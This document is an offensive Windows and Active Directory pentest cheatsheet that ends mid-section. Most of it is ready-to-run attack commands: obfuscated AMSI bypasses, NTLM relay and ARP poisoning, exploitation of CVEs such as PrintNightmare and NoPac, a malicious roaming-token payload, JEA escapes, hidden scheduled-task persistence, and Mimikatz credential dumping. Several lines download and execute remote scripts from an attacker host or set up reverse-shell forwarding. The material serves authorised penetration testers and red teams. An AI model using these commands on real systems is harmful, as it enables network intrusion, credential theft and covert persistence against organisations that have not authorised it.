# Microsoft

Different cheatsheets useful in Windows and Active Directory environment

# Active Directory

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [**@BlWasp_**](https://twitter.com/BlWasp_).

I will try to put as many links as possible at the end of the page to direct to more complete resources.

## Misc

### Internal audit mindmap

[Insane mindmap](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg) by [@M4yFly](https://twitter.com/M4yFly).

### Bypass AMSI

```powershell
#Downgrade PowerShell
powershell -v 2 -c "<...>"

#Classic
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

#Force AMSI error
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

### Create PowerShell credentials

```powershell
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pass)
```

### Decipher Secure-String

With the corresponding AES key

```powershell
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted
```

### Bypass execution policy

```powershell
#By spawning a new PowerShell session in the current one
powershell -nop -exec bypass

#By disabling the execution policy in the registry
Set-ExecutionPolicy -ExecutionPolicy bypass -Scope LocalMachine -Force

#Load a PowerShell module without confirmation prompt
Import-Module ./evil.psm1 -Force
```

### Execution context / AppLocker

#### AppLocker

```powershell
#Get AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writeable by any users.

#### Bypass Constrained Language Mode

Import `BypassCLM.exe` and `Mono.Options.dll` in a directory where the AppLocker policy authorize the execution, then

```powershell
#Get language mode
$ExecutionContext.SessionState.LanguageMode
#To bypass with PowerShell 6
pwsh

.\BypassCLM.exe -c "iex (new-object net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')"
```

### Port forwarding

We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine\
On the "central" machine, all the hit on the port 80 or 4545 will be forward to the `connectaddress` on the specified port :

```powershell
#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
```

### Run domain commands from a non domain joined computer

```batch
runas /netonly /user:DOMAIN\User1 cmd.exe
```

## Initial Access

What to do when you are plugged on the network without creds.

* NTLM authentication capture on the wire with [Responder or Inveigh](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-responder-%2F-inveigh) poisoning, maybe in NTLMv1 ?
* [Relay the NTLM authentications](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-ntlm-and-kerberos-re) to interesting endpoints, be careful to the signing
  * SMB socks to list/read/write the shares
  * LDAP to dump the directory
  * LDAPS (or maybe SMB if signing not required) to add a computer account
  * ...
* ARP poisoning with **bettercap**, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found [here](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/arp-poisoning#scenarios-examples).
  * By sniffing everything on the wire with Wireshark, some secrets can be found with **PCredz**.

First, run bettercap with this config file:

```bash
# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true

# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on
```

```bash
sudo ./bettercap --iface <interface> --caplet spoof.cap
```

Then sniff with Wireshark. When it is finish, save the trace in a `.pcap` file and extract the secrets:

```bash
python3 ./Pcredz -f extract.pcap
```

* [Poison the DHCPv6](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-mitm6) answer to receive NTLM or Kerberos authentication
  * NTLM auths can be relayed with `ntlmrelayx`
  * Kerberos auths can be relayed with `krbrelayx` to HTTP endpoints (ADCS, SCCM AdminService API)
* Search for a domain account
  * Look for SMB Guest and null session, and LDAP null bind
  * Perform RID cycling (look at the Active Directory - Python edition cheatsheet)
  * With SMB login bruteforce
  * With Kerbrute bruteforce

Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over `smb_login` is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts!

```bash
./kerbrute userenum -domain domain.local users.txt
```

Test for the Top1000 with `login = password`

Possible other passwords:

```
(empty)
password
P@ssw0rd
```

* Look for juicy [CVEs](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-cves)
* Search for devices like printers, routers, or similar stuff with default creds

In case a printer (or something similar) has an LDAP account, but use the `SASL` authentication family instead of `SIMPLE`, the classic LDAP passback exploitation with a `nc` server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak `PLAIN` and `LOGIN` protocols. [This Docker](https://github.com/pedrojosenavasperez/ldap-passback-docker) permits to operate with weak protocols.

```bash
docker buildx build -t ldap-passback .
docker run --rm -ti -p 389:389 ldap-passback
```

In parallel, listen with tshark:

```bash
tshark -i any -f "port 389" \
  -Y "ldap.protocolOp == 0 && ldap.simple" \
  -e ldap.name -e ldap.simple -Tjson
```

## CVEs

### AD oriented

* [CVE-2025-33073](https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) - NTLM Reflective relay

Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced **to relay from SMB to SMB**.

If services such as WinRM/S, MSSQL, or HTTP/S are active on the machine (Windows Servers or ADCS PKI, for example), relaying is still possible, even with signing or EPA enabled! Only a complete patch truly blocks it. **The only exceptions are LDAPS and RPC**.

```bash
#Check if a computer is vulnerable
nxc smb <target> -u user1 -p password -M ntlm_reflection

#Setup DNS
dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>
	# Or, to target any computer
dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <attacker_IP> <DC_IP>

#Coerce
PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL

#Chose the service to relay
ntlmrelayx.py -t <target_FQDN> -smb2support -socks
ntlmrelayx.py -t mssql://<target_FQDN> -smb2support -socks
ntlmrelayx.py -t winrms://<target_FQDN> -smb2support -socks
```
* SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
* [PetitPotam pre-auth](https://github.com/topotam/PetitPotam) (CVE-2022-26925)

If the target is not patched, this CVE can be exploited without creds.

```powershell
./PetitPotam.exe -pipe all <attacker_IP> <target_IP>
```

* [NoPac](https://github.com/cube0x0/noPac) (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287)

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

```powershell
#Scan for the vuln
.\noPac.exe scan -domain domain.local -user user1 -pass 'password'

#Exploit it and retrieve a ST for the DC
.\noPac.exe -domain domain.local -user user1 -pass 'password' /dc dcVuln.domain.local /mAccount evilComputer /mPassword 'evilPass!' /service cifs /ptt
```

* [PrintNightmare](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) (CVE-2021-1675 / CVE-2021-34527)

```powershell
#Load and execute a DLL hosted on a SMB server on the attacker machine
./SharpPrintNightmare.exe '\\<attacker_IP>\smb\addUser.dll' '\\<target_IP>'
```

* [Zerologon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon#password-change-disruptive) (CVE-2020-1472)

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

* EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708)

The exploits in the Metasploit framework are good for these two CVEs.

```bash
#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
```

* SMBGhost (CVE-2020-0796)

**Be careful, this exploit is pretty unstable and the risk of BSOD is really important.** The exploit in the Metasploit framework is good for this CVE.

```bash
msf6 exploit(windows/smb/cve_2020_0796_smbghost) >
```

* [RC4-MD4 downgrade](https://github.com/Bdenneu/CVE-2022-33679) (CVE-2022-33679)

To exploit this CVE the **RC4-MD4** encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

```bash
./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>
```

* [Credentials Roaming](https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming?s=33) (CVE-2022-30170)

```powershell
# Fetch current user object
$user = get-aduser <victim username> -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865"
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose
```

* [Bronze Bit](https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-overview) (CVE-2020-17049)

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

```powershell
./Rubeus.exe s4u /bronzebit /user:<service_account> /rc4:<service_account_hash> /dc:dc.domain.local /impersonateuser:Administrator /domain:domain.local /altservice:cifs/target.domain.local /nowrap
```

* [MS14-068](https://tools.thehacker.recipes/impacket/examples/goldenpac.py)

```bash
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>
```

### Targeting Exchange server

* ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065)

The exploits in the Metasploit framework are good for these three CVEs.

```bash
msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >
```

* [CVE-2023-23397](https://github.com/Trackflaw/CVE-2023-23397)

This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a `.msg` file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target.

```powershell
python3.exe CVE-2023-23397.py --path '\\<attacker_IP>\'
```

Before sending the email, run Inveigh to intercept the NTLM hash.

### For local privesc

* [CVE-2022-41057](https://bugs.chromium.org/p/project-zero/issues/detail?id=2346)
* [KrbRelayUp](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-krbrelayup)
* [SpoolFool](https://github.com/ly4k/SpoolFool) (CVE-2022-21999)

```powershell
./SpoolFool.exe -dll adUser.dll

#In PowerShell
Import-Module .\SpoolFool.ps1
Invoke-SpoolFool -dll adUser.dll
```

* [PrintNightmare](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) (CVE-2021-1675 / CVE-2021-34527)

```powershell
./SharpPrintNightmare.exe ./adUser.dll
```

* [HiveNightmare](https://github.com/WiredPulse/Invoke-HiveNightmare) (CVE-2021-36934)

```powershell
./Invoke-HiveNightmare.ps1 -path ./HiveDumps
```

## Domain Enumeration

### Domain objects

#### Current domain

```powershell
#PowerView
Get-NetDomain
#AD Module
Get-ADDomain

#Domain SID
Get-DomainSID
(Get-ADDomain).DomainSID

#Domain policy
(Get-DomainPolicy)."system access"
```

#### Another domain

```powershell
#PowerView
Get-NetDomain -Domain domain.local

#AD Module
Get-ADDomain -Identity domain.local
```

### Domain controller

#### Current domain

```powershell
#PowerView
Get-NetDomainController
#AD Module
Get-ADDomainController

Get-NetDomainController -Domain domain.local
Get-ADDomainController -DomainName domain.local -Discover
```

### Users enumeration

#### List users

```powershell
#PowerView
Get-NetUser
Get-NetUser -Identity user1

#AD Module
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity user1 -Properties *
```

#### User's properties

```powershell
#AD Module
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

#### Search for a particular string in attributes

```powershell
Find-UserField -SearchField Description -SearchTerm "password"
Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description
```

#### Actively logged users on a machine

Needs local admin rights on the target

```powershell
Get-NetLoggedon -ComputerName <target>
```

#### Locally logged users on a machine

Needs remote registry on the target - started by-default on server OS

```powershell
Get-LoggedonLocal -ComputerName <target>
```

#### Last logged user on a machine

Needs administrative rights and remote registry on the target

```powershell
Get-LastLoggedOn -ComputerName <target>
```

### User hunting

#### Find machine where the user has admin privs

```powershell
Find-LocalAdminAccess -Verbose
```

If the RPC or SMB ports are blocked, see `Find-WMILocalAdminAccess.ps1` and `Find-PSRemotingLocalAdminAccess.ps1` to use WMI or PowerShell Remoting

#### Find local admins on the domain machines

```powershell
Invoke-EnumerateLocalAdmin -Verbose
```

#### Find machines where specific users or groups have sessions

```powershell
Invoke-UserHunter #Admins
Invoke-UserHunter -GroupName "<group_target>"
```

#### Check local admin access for the current user where the targets are found

```powershell
Invoke-UserHunter -CheckAccess
```

### Computers enumeration

```powershell
#PowerView
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -FullData

#AD Module
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
```

### Groups enumeration

#### Groups in the current domain

```powershell
#PowerView
Get-NetGroup
Get-NetGroup -FullData

#AD Module
Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter * -Properties *
```

#### Search for a particular string in attributes

```powershell
#PowerView
Get-NetGroup *admin*

#AD Module
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
```

#### All users in a specific group

```powershell
#PowerView
Get-NetGroupMember -GroupName "<group>" -Recurse

#AD Module
Get-ADGroupMember -Identity "<group>" -Recursive
```

#### All groups of an user

```powershell
#PowerView
Get-NetGroup -MemberIdentity "user1"

#AD Module
Get-ADPrincipalGroupMembership -Identity "user1"
```

#### Local groups enumeration

```powershell
Get-NetLocalGroup -ComputerName <target> -ListGroups
```

#### Members of local groups

```powershell
Get-NetLocalGroup -ComputerName <target> -Recurse
```

### Shares / Files

#### Find shares on the domain

```powershell
Invoke-ShareFinder -Verbose
```

#### Sensitive files on the domain

```powershell
Invoke-FileFinder -Verbose
Invoke-FileFinder -Verbose -Include "*pass*"
```

Or with Snaffler

`snaffler.exe -s - snaffler.log` ... (:

```powershell
#Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s
	#Send the result to a file
./Snaffler.exe -d domain.local -c <DC> -o res.log

#Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s

#Snaffle a specific directory
./Snaffler.exe -i C:\ -s
```

#### Find all fileservers of the domain

```powershell
Get-NetFileServer
```

### GPO enumeration

#### List of GPO in the domain

```powershell
#PowerView
Get-NetGPO
#GPOs applied to a computer
Get-NetGPO -ComputerName <target>

#AD Module
Get-GPO -All #(GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html #(Provides RSoP)
```

#### Get GPO that modify local group via Restricted Groups

```powershell
Get-NetGPOGroup
```

#### Users which are in a local group of a machine using GPOs

```powershell
Find-GPOComputerAdmin -Computername <target>
```

#### Machine where an user is member of a local group using GPOs

```powershell
Find-GPOLocation -Identity user1 -Verbose
```

More advanced GPO enumeration techniques, allowing BloodHound ingestion, are presented in the Active Directory - Python edition cheatsheet.

### Organisation Units

#### OUs of the domain

```powershell
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
```

#### Computers within an OU

```powershell
Get-NetComputer | ? { $_.DistinguishedName -match "OU=<OU_name>" } | select DnsHostName
```

#### GPO applied on an OU / Read GPO from the GP-Link attribut from `Get-NetOU`

```powershell
Get-NetGPO -GPOname "{<OU_ID>}"
Get-GPO -Guid <OU_ID> #(GroupPolicy module)
```

### DACLs

#### All ACLs associated to an object (inbound)

```powershell
Get-ObjectAcl -Identity user1 -ResolveGUIDs
(Get-ObjectAcl | Where-Object {$_.ObjectSid -match "<object_SID>"})
```

#### Outbound ACLs of an object

These are the rights the object has in the AD

```powershell
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<target>"}
Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"}
```

#### ACLs associated to a specific path

```powershell
Get-PathAcl -Path "\\dc.domain.local\sysvol"
```

### Trusts

#### Map trusts

```powershell
Invoke-MapDomainTrust
```

#### Domain trusts for the current domain

```powershell
#PowerView
Get-NetDomainTrust #Find potential external trust

#AD Module
Get-ADTrust
```

### Forest

#### Details about the current forest

```powershell
#PowerView
Get-NetForest
Get-NetForest -Forest domain.local

#AD Module
Get-ADForest
Get-ADForest -Identity domain.local
```

#### All domains in the current forest

```powershell
#PowerView
Get-NetForestDomain
Get-NetForestDomain -Forest domain.local

#AD Module
(Get-ADForest).Domains
```

#### Global catalogs of the current forest

```powershell
#PowerView
Get-NetForestCatalog
Get-NetForestCatalog -Forest domain.local

#AD Module
Get-ADForest | select -ExpandProperty GlobalCatalogs
```

#### Forest trusts

```powershell
#PowerView
Get-NetForestTrust
Get-NetForestTrust -Forest domain.local

#AD Module
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
```

## BloodHound / SharpHound / SOAPHound

### Basic usage

```powershell
# Default collection
SharpHound.exe

# All collection excepted GPOLocalGroup with all string properties
SharpHound.exe --CollectionMethod All --CollectAllProperties

#Only collect from the DC, doesn't query the computers (more stealthy)
SharpHound.exe --CollectionMethod DCOnly
#Only collect user sessions and LocalGroup from computers, not the DC
SharpHound.exe --CollectionMethod ComputerOnly
```

### Stealth usage

```powershell
#Stealth collection soutions
SharpHound.exe --CollectionMethod ComputerOnly --Stealth
SharpHound.exe --ExcludeDomainControllers

#Encrypt the output archive with a random password
SharpHound.exe --EncryptZip
```

### Loop collection

Useful for user session collection for example. SharpHound will run the collection regularly and output a new zip file after each loop.

```powershell
#It will loop during 2h by default
SharpHound.exe --CollectionMethod Session --Loop

#Loop during 5h
SharpHound.exe --CollectionMethod Session --Loop --Loopduration 05:00:00
```

### From a non domain joined computer

* Configure the DNS of the machine to be the DC
* Spawn a shell as a domain user
* Verify you’ve got valid domain authentiation by using the `net` binary
* Run SharpHound, using the `-d` flag to specify the AD domain you want to collect information from. You can also use any other flags you wish.

```batch
runas /netonly /user:DOMAIN\User1 cmd.exe
net view \\domain\
SharpHound.exe -d domain.local
```

### Interesting Neo4j queries

#### Users with SPNs

```sql
MATCH (u:User {hasspn:true}) RETURN u
```

#### AS-REP Roastable users

```sql
MATCH (u:User {dontrepreauth:true}) RETURN u
```

#### Computers AllowedToDelegate to other computers

```sql
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p
```

#### Shortest path from Kerberoastable user

```sql
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
```

#### Computers in Unconstrained Delegations

```sql
MATCH (c:Computer {unconsraineddelegation:true}) RETURN c
```

#### Rights against GPOs

```sql
MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p
```

#### Potential SQL Admins

```sql
MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p
```

#### LAPS

Machine with LAPS enabled

```sql
MATCH (c:Computer {haslaps:true}) RETURN c 
```

Users with read LAPS rights against "LAPS machines"

```sql
MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p
```

### SOAPHound

A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound.

```powershell
#Build cache
SOAPHound.exe --showstats -c c:\temp\cache.txt

#Collect data
SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output

#For larger domain, if timeout errors are encountered
SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 1000

#Collect ADCS data
SOAPHound.exe -c c:\temp\cache.txt --certdump -o c:\temp\bloodhound-output

#Dump ADIDNS data
SOAPHound.exe --dnsdump -o c:\temp\dns-output
```

### MSSQLHound

The [MSSQLHound](https://github.com/SpecterOps/MSSQLHound) tool allows you to map MSSQL databases on the network, as well as the links between them and the rights to them.

The output can then be ingested into **BloodHound CE**.

```powershell
MSSQLHound.ps1 -OutputFormat BloodHound -UserID user1 -Password password -Domain domain.local -DomainController <DC_IP> -InstallADModule On -MakeInterestingEdgesTraversable On
```

### AD Miner

[AD Miner](https://github.com/Mazars-Tech/AD\_Miner) is another solution to display BloodHound data into a web based GUI. It is usefull for its **Smartest paths** feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a `ExecuteDCOM` edge).

## Local Privesc

### PowerUp

```powershell
#All checks
Invoke-AllChecks

#Get services with unquoted paths and a space in their name.
Get-UnquotedService -Verbose

#Get services where the current user can write to its binary path or change arguments to the binary
Get-ModifiableServiceFile -Verbose

#Get the services whose configuration current user can modify.
Get-ModifiableService -Verbose

#DLL Hijacking
Find-ProcessDLLHijack
Find-PathDLLHijack
```

### Other enumeration tools

```powershell
#PrivescCheck: https://github.com/itm4n/PrivescCheck
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended

.\beRoot.exe
.\winPEAS.exe
.\Seatbelt.exe -group=all -full

#Privesc: https://github.com/enjoiz/Privesc
Invoke-PrivEsc
```

### Always Install Elevated

```batch
run msiexec /i BeaconInstaller.msi /q /n
```

### Impersonation attacks / Potatoes

[Full article here](https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all)

### KrbRelayUp

#### With RBCD

```powershell
./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -ComputerPassword Password123!
./KrbRelayUp.exe spawn -d domain.local -cn test$ -cp Password123!
```

#### With ShadowCreds

```powershell
./KrbRelayUp.exe full -m shadowcred --ForceShadowCred
```

#### With ADCS

```powershell
./KrbRelayUp.exe full -m adcs
```

### DavRelayUp

Similar to KrbRelayUp, but relay from WebDAV to LDAP.

```powershell
#Create a new computer account to perform RBCD
./DavRelayUp.exe -c

#Use an existing computer account
./DavRelayUp.exe -cn <computer_name> -cp <computer_password>

#Impersonate another local user than Administrator
./DavRelayUp.exe -c -i user1

#Start WebDAV on another port than the default 55555
./DavRelayUp.exe -c -p 1234
```

### Massive local privesc cheatsheet

[PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)

### Escape JEA

#### Abuse an allowed function

```powershell
#Look at allowed functions
Get-Command

#Look at the function code
(Get-Command <function>).Definition
#Or
gcm <function> -show
```

For example if it is possible to control the `$param` parameter here `$ExecutionContext.InvokeCommand.ExpandString($param)`, it is possible to execute some code by passing this as argument : `'$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")'`

#### Function creation

If the JEA allowed to create a new function it can be abused

```powershell
Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}}
Invoke-Command -Session $sess -ScriptBlock {blackwasp}
```

#### With another WinrRM client

Sometimes this WinRM in Python can bypass the JEA

```python
import winrm

s = winrm.Session('target_IP', auth=('administrator', 'password'))
r = s.run_cmd('powershell -c "IEX((New-Object System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"')

print r.status_code
print r.std_out
print r.std_err
```

## Local Persistence

### SharPersist

`SharPersist.exe` can be used for local persistence on a workstation.

Common userland persistences:

* HKCU / HKLM Registry Autoruns
* Scheduled Tasks
* Startup Folder

```powershell
#Convert command to execute to base64
$str = 'IEX ((new-object net.webclient).downloadstring("http://attacker_ip/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

#Via scheduled task
.\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -n "Updater" -m add -o hourly

#Via startup folder
.\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -f "UserEnvSetup" -m add

#Via registry key, first create a .exe beacon named updater.exe, then
.\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
```

### LAPS persistence

To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.

```powershell
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```

### JEA persistence

Allows every commands to a user on a machine.

```powershell
Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose

Enter-PSSession -ComputerName dc -ConfigurationName microsoft.powershell64
```

## Lateral Movement

### PowerShell remoting

#### From one computer to other ones

```powershell
$sess = New-PSSession -ComputerName <computername>
Enter-PSSession -Session $sess

#Provide PS credentials
New-PSSession -Credential $cred

#To many computers
Invoke-Command -Credential $cred -ComputerName (Get-Content ./listServers.txt)
```

#### Execute scripts

```powershell
#Script block
Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02

#Script from file
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -ComputerName Server01
```

#### Execute locally loaded function to remote

Can be usefull to bypass some restricions

```powershell
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01, Server02

#With arguments
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -ArgumentList DumpCreds
```

#### Item copy

```powershell
Copy-Item -ToSession $sess -Path <local_path> -Destination <path_on_target>
```

### Scheduled task creation

Create a scheduled task on a remote machine, with sufficient rights

```powershell
#Creation
schtasks /create /S <target>.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://<attacker_IP>/Invoke-PowerShellTcp.ps1''')'"

#Task execution
schtasks /Run /S <target>.domain.local /TN "STCheck"
```

### Credentials gathering / Mimikatz

#### Dump creds

```powershell
#Dump LSASS credentials on a local machine
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

